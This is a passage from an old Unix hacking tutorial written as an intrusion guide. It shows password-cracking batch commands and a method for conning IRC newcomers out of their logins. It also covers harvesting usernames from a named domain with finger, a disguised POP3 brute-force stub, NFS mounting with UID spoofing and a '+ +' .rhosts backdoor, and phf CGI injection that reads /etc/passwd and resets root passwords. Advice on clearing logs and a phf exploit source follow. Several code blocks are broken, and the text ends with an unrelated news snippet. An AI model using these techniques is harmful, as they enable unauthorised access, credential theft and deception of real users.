-gecos:1 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.` | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.` | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.` | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.` | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.~ | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.~ | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.~ | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.~ | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.! | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.! | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.! | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.! | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.A | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.A | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.A | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.A | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.a | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.a | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.a | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.a | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.q | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.q | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.q | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.q | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 --------------- end of jackhash.bat You can get password files without an account, see next chapter. ------------------ Section 2B. Talking to newbe's ------------------ There are other ways to get an account without doing much work. Park yourself on an irc channel that you made with a title about hacking. Also try joining other channels already on the irc. Channels would include: #hacking #unix #unixhacking #hack #hackers #hacker #virus #virii #hackers_hideout or any others you can find. Now what you are looking for are newbe's looking to learn or exploit their shell they are on already. There is always someone out there that does not know as much as you. Watch for someone out there that asks a newbe question and gets no answer or even kicked off the channel. Here is your mark ;) /msg him so that others can't see that you are talking to him, and begin to ask him questions, try to help him, but not too much ;) Finally tell him that you can login for him and do it. This could be to snatch the passwd file or god knows what. Promise him the world and get that login password. Now you have a start and can start your on-hands learning process. If you get root on the system you might not want to expose that to him, but you can feed him other goodies that will keep him busy while you sniff some other passwords on the system. So now if there are some out there that remember i-e when you gave him your login and password, you can be sure that the above never happened rin ... I tend to like to help people learn so I am telling the truth when i say I have dealt honestly with most everyone I have come across. ------------- Section 2C. The hard way ------------- There is another way you can do this. Be sure that on most big systems that users do not use secure passwords. from a shell do this: finger @domainname.com Watch I will do a real domain: [10:35am][/home/ii]finger @starnet.net [starnet.net] Login Name Tty Idle Login Time Office Office Phone chris Chris Myers p2 4:46 Jan 27 11:19 mike Mike Suter p1 4:57 Jan 22 16:14 mike Mike Suter p5 3d Jan 16 15:35 root System Administrator p3 4:59 Jan 16 10:17 wendt Catherine Wendt-Bern p0 3 Jan 21 14:49 [10:35am][/home/ii] Now we might want to try logging in later, log this information: Login chris Password try: Chris, chris, myers, Myers, chrismyers, etc... This one looks good, wendt:Catherine:catherine Here is another command: [10:35am][/home/ii]finger -l @starnet.net [starnet.net] Login: mike Name: Mike Suter Directory: /usra/staff/mike Shell: /bin/csh On since Wed Jan 22 16:14 (CST) on ttyp1, idle 5:26, from mikesbox.starnet.net On since Thu Jan 16 15:35 (CST) on ttyp5, idle 3 days 22:00, from mikesbox Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk No Plan. Login: root Name: System Administrator Directory: /root Shell: /bin/csh On since Thu Jan 16 10:17 (CST) on ttyp3, idle 5:28, from mikesbox.starnet.net Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net Mail forwarded to: \chris@admin.starnet.net #\chris@admin.starnet.net, \mike@admin.starnet.net No Plan. Login: wendt Name: Catherine Wendt-Bernal Directory: /usra/staff/wendt Shell: /bin/csh On since Tue Jan 21 14:49 (CST) on ttyp0, idle 0:02, from veggedout No Plan. You get more info to play with ;) I know this can make you tired .... Remember this stuff will log your tries, so if you get on and get root, clean the logs ;) Here is a small .c file you can use if you get on. pop3hack.c ----- cut here #include #include #include #include #include #include #include #include #include /* First, define the POP-3 port - almost always 110 */ #define POP3_PORT 110 /* What we want our program to be masked as, so nosy sys admin's don't kill us */ #define MASKAS "vi" /* Repeat connect or not - remember, logs still report a connection, so you might want to set this to 0. If set to 0, it will hack until it finds 1 user/password then exit. If set to 1, it will reconnect and try more user/passwords (until it runs out of usernames) */ #define RECONNECT 0 ----- cut here You could also write a small perl script that will finger @ from a domain list and cat the response to a file, then when done it will go back and try to login using pop3d username-username (or other info) and putting the response into another file for you. You can ftp to rs.internic.net: in the domain directory you will find: com.zone.gz edu.zone.gz gov.zone.gz mil.zone.gz net.zone.gz org.zone.gz download these files and run getdomain.pl (script below) on the domains you want to target first, in this manor: "perl getdomain.pl com.zone com com.all" What this will do is rip all of the .COM domains and put them into a file called comm.all. If you wanted to do all of the .EDU addresses you would type: perl getdomain.pl edu.zone edu edu.all Now you will have a list to use with your probe called edu.all Here is the perl script getdomain.pl ---- cut here #!/usr/bin/perl # GetDomain By Nfin8 / Invisible Evil # Questions /msg i-e or /msg i^e # # Retrieve command line arguments. my($inputfile, $domain) = @ARGV; usage() if (!defined($inputfile) || !defined($domain)); # Open and preprocess the input file. open(INFILE, "; # Initialize main data structure. my(%hash) = {}; my($key) = ""; foreach (@lines) { $key = (split(/\ /))[0]; chop($key); next if ((($key =~ tr/.//) showmount -e wwa.com mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive Ok, no problem, this domain will not work, go on to the next one... $root showmount -e seva.net Export list for seva.net: /var/mail pluto.seva.net /home/user1 pluto.seva.net /usr/local pluto.seva.net,rover.seva.net /export/X11R6.3 rover.seva.net /export/rover rover.seva.net,pluto.seva.net /export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone) Notice the (everyone), this would be good if we wanted to install linux from this guy's box, but we want open directories to users.... so go on to the next one... $root showmount -e XXXXX.XXX ) { chomp($_); print "Now checking: $_"; # Note difference in program output capture from "geturl.pl". open (EXECFILE, "$program $_ |"); @execResult = ; next if (!defined($execResult[0])); if ($execResult[0] =~ /^Export/) { print " - Export list saved."; open (OUTFILE, "$_.export"); foreach (@execResult) { print OUTFILE; } close (OUTFILE); } close(EXECFILE); print "\n"; } # We are done. Close all files and end the program. close (DOMAINFILE); 0; ----------------- end of cmount.pl Ok, now on to mounting the drives .... lets say we did a showmount -e domain.com and got back: Export list for domain.com: / (everyone) /p1 (everyone) /p2 (everyone) /p3 (everyone) /p5 (everyone) /p6 (everyone) /p7 (everyone) /var/spool/mail titan,europa,galifrey /tmp (everyone) We would want to mount / .. yup .... this guy has his entire system mountable! $root mkdir /tmp/mount $root mount -nt nfs domain.com:/ /tmp/mount If he had the home directory mountable the command would be: $root mount -nt nfs domain.com:/home /tmp/mount To unmount the system, make sure you are out of the directory and type: $root umount /tmp/mount Make sure you make the mount directory first, you can make this anywhere on the system that you want. If the systems /mnt directory is empty you can use it also. Ok this is for real: bash# ls -al /mnt ; making sure the mnt dir is empty ls: /mnt: No such file or directory ; there was not even a dir there ;) bash# mkdir /mnt ; lets make one for them rin bash# mount -nt nfs xxxxxx.xxx:/export/usr /mnt ; let's mount the sucker ... bash# cd /mnt ; changing to the mounted drive... bash# ls ; just the plain dir .. TT_DB home raddb share back local radius-961029.gz www exec lost+found radius-961029.ps bash# ; there is is up there, the home dir ... oh good ... bash# cd home bash# ls -l ; long directory listing ... tom is looking good here ;) total 18 drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk drwxr-xr-x 6 news news 512 Mar 6 1996 news drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk drwxr-xr-x 2 302 other 512 Mar 1 10:10 tom drwxr-xr-x 5 601 daemon 512 Jan 26 1996 viewx drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www bash# ; notice tom is user number 302 ... hmmm lets put him in our passwd file bash# pico /etc/passwd tom:x:302:2::/home:/bin/bash ; this should do it ;) bash# su - tom ; su to the tom account ... bash$ ls -l total 18 drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk drwxr-xr-x 6 news news 512 Mar 6 1996 news drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk drwxr-xr-x 2 tom other 512 Mar 1 10:10 tom drwxr-xr-x 5 601 daemon 512 Jan 26 1996 view drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www bash$ ; NOTICE above that toms user number is gone ... we now own his dir! bash$ echo + +tom/.rhosts ; this will make a file in his dir called .rhosts bash$ ;inside .rhosts will be wild cards + + for anyone to rlogin to his account bash$ rlogin xxxxx.xxx we are tom on our machine, so lets just rlogin plain. Last login: Fri Mar 7 00:16:03 from xxxxx.xxxxxxxxxx Sun Microsystems Inc. SunOS 5.5 Generic November 1995 ; yup we are in! ls -al total 8 drwxr-xr-x 2 tom group 512 Mar 1 17:10 . drwxr-xr-x 14 tom group 512 Jan 24 11:16 .. -rw-r 1 tom group 144 Dec 30 15:32 .profile -rw-r 1 tom bin 8 Mar 11 08:26 .rhosts So now we have access, so lets just hack this system ... oops, that is another lesson! Have pun! --------------------- Chapter III Getting passwd files --------------------- Here are some ways to get password files from unix systems. Most of them you will need an account, but there is still a way to access to the system without having an account. Here you will learn the difference between a regular passwd file and a shadowed passwd file. You will also learn a way to read the shadowed password file. ------------------ Section 3A PHF WWW PH Query ------------------ There is a program in the WWW cgi-bin directory called phf, if the file is there, and has permission x, you can access it by using the www, or a text version browser in linux called lynx. Now you can read files on the system (yup .. /etc/passwd) and save them to files local in your computer. There are many things we can get done here. If the server is running their httpd server as root owner, we can be root by using phf and even change an account password on the machine. I will include a perl script here that will auto check all of the systems out there by using the getdomain.pl script above and check what the server is running under. If it is running under root, it will just log the id, if the server is not running under root, it will auto get the passwd file from the /etc directory and name it domainname.???.passwd. I will also attach a script that will allow you to use a simple command from a shell and if phf is on the system allow you to pipe commands from the shell to the remote system with one command line. Ok now that you know what is coming, lets teach you how to use phf. Use your favorite web browser, or the text version in unix called most of the time lynx, on some systems www. After the screen comes up type the letter g, now a line appears like below: URL to open: Arrow keys: Up and Down to move. Right to follow a link; Left to go back. H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list You type: URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid Arrow keys: Up and Down to move. Right to follow a link; Left to go back. H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list It returns: QUERY RESULTS /usr/local/bin/ph -m alias=x id uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) So here we see it is running under a user (nobody), so we can be a user named nobody on this system. We are not root, but this will have to do ;) Notice the command line: http://afp.org/cgi-bin/phf/?Qalias=x%0aid The id was the command to the server to give us the id of the user. Some times you will have to give the full path to the file you want to run, in this case it would have been: http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id Notice that after the %0a you start your command line. If you need to enter a space you would put a %20 instead of the space. Here would be some sample command lines. I will start them with %0a Cat the passwd file %0a/bin/cat%20/etc/passwd Get a long directory of the /etc directory of all files starting with pass %0als%20-al%20/etc/pass* backup the passwd file if you have root access to httpd to passwd.my %0acp%20/etc/passwd%20/etc/passwd.my Change the root passwd (if the server will let you (most times it works) %0apasswd%20root (the above should let you login without a password, make sure to copy the passwd.my file over the passwd file right away, and then delete the backup, then make yourself an suid bash shell somewhere and rename it, sniff to get your passwords) If you know how to type commands in unix and don't forget that you need to use %20 in the place of spaces, you will not have any problems! Ok lets cat the passwd file on this box ;) URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd We get: QUERY RESULTS /usr/local/bin/ph -m alias=x cat /etc/passwd root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/usr/lib/news: uucp:*:10:14:uucp:/var/spool/uucppublic: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash nobody:*:-2:100:nobody:/dev/null: ftp:*:404:1::/home/ftp:/bin/bash guest:*:405:100:guest:/dev/null:/dev/null bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash A small passwd file rin If you want to save this to a file in your local directory, just choose the print option in the text browser and you will get an option to save the file in your home directory. Lets learn something here: mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash 1 :2 :3 :4 :5 :6 :7 1=username 2=encrypted password 3=user number 4=groop id 5=real name 6=home directory 7=shell Ok, lets say you do not want to keep using the WWW browser, here is a script you can compile to just type regular commands from your shell. phf.c ------ cut here---- /* Some small changes for efficiency by snocrash. */ /* * cgi-bin phf exploit by loxsmith [xf] * * I wrote this in C because not every system is going to have lynx. Also, * this saves the time it usually takes to remember the syntatical format * of the exploit. Because of the host lookup mess, this will take * approximately 12 seconds to execute with average network load. Be patient. * */ #include #include #include #include #include #include #include int main(argc, argv) int argc; char **argv; { int i = 0, s, port, bytes = 128; char exploit[0xff], buffer[128], hostname[256], *command, j[2]; struct sockaddr_in sin; 041103 ... $498 Wal-Mart unveils cut-price laptop under 500 dollars Tue Dec 21, 3:17 AM ET The Balance notebook, armed with a 41.1 inch LCD screen, a 1.0 GHz processor and 128 MB RAM of memory, comes equipped with the Linux-based operating system Linspire. It hits the shelves loaded with a Microsoft-file compatible office suite... 041221 what's it to you? who go blather from